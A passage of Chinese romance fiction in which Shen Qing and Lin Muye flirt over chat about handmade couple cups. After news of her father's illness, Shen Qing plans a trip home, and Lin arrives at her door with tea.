林牧野:「不知不觉很快就做好了,因为一直想你。」
沈清:「我的水杯烧好了吗?」
林牧野:「你是在问我们的情侣瓦猫杯吗?」
沈清:「是玉龙雪山杯。」
林牧野:「说句好听的,我就给你。」
沈清:「已经烧好了吗?那我自己去拿。」
林牧野:「在我这里。说句好听的。」
沈清:「什么是好听的。」
林牧野:「现在,打字,说你喜欢我。」
沈清:「......」
林牧野:「或者你来我房间,亲口说给我听。」
沈清:「今天是谁说的,要好好工作。我在工作呢,做PPT。」
沈清对着屏幕笑,酒窝在嘴角若隐若现。突然,母亲的对话框闪烁,沈清忙去点开。
母亲:「清清,你爸爸身体最近不太好,你散心也该散完了,回家吧。」
沈清看到母亲发来的话,立马拿起正在充电的电话,没把充电线拔掉,就拨了出去。
电话接通后,沈清仔细地询问了父亲的情况,了解到是高血压这个老毛病引起的并发症,迟迟不消散。沈清宽慰母亲几句,说过几天就回去。
挂了电话,沈清突然没了心情和林牧野继续聊天。因为显而易见的原因,也没法集中注意力做PPT。
她躺在床上,呆呆地看着天花板上的木梁,回想着从裸辞到现在几个月的生活,思索是不是到了回去的时间。
可她答应过林牧野,就算是要离开,也起码要等到营收项目落地后再走。
沈清又“腾”地从床上做起,开始做起了PPT,顺便打开林牧野的微信对话框。
沈清:「营收项目汇报完,我想请假回京州一趟。」
林牧野:「终于想通愿意跟我回家了?」
沈清:「不是,家里有点事情,回去处理一下。」
林牧野:「什么事情?需要帮忙吗?那你是带我还是不带我?」
沈清:「我爸爸身体不舒服,我要回去看看他。」
沈清刚回复完,就接到了林牧野的通话请求。
沈清接起,林牧野稍有些慌乱的声音从听筒那头传来:“你父亲身体还好吗?要不你直接回去看他,汇报的事情我来就行了。”
沈清咬了下嘴唇,说:“没事,他的高血压也是老毛病了,只是这次眼睛充血一直不下,可能......和我辞职不回家心情不好也有关系。”
沈清把手机夹在耳朵和肩膀中间,开始继续改PPT:“我明天就能做好,后天就可以汇报,我大后天回家,请假一周可以吗?”
林牧野显然不舍:“好的,任何需要我帮忙的尽管说,也不要熬夜累着了。”
沈清为了让林牧野放心,故意逗他:“我的杯子快给我,口干舌燥可做不好PPT!”
林牧野神秘地降低声音:“那你现在开门。”
沈清重新用手拿起手机,惊讶地看向门口方向。
敲门声响起,沈清起身去开门。
门外,林牧野正端着两人亲手制作的情侣杯,泡好的普洱香味扑鼻而来:
“我陪你一起做PPT。”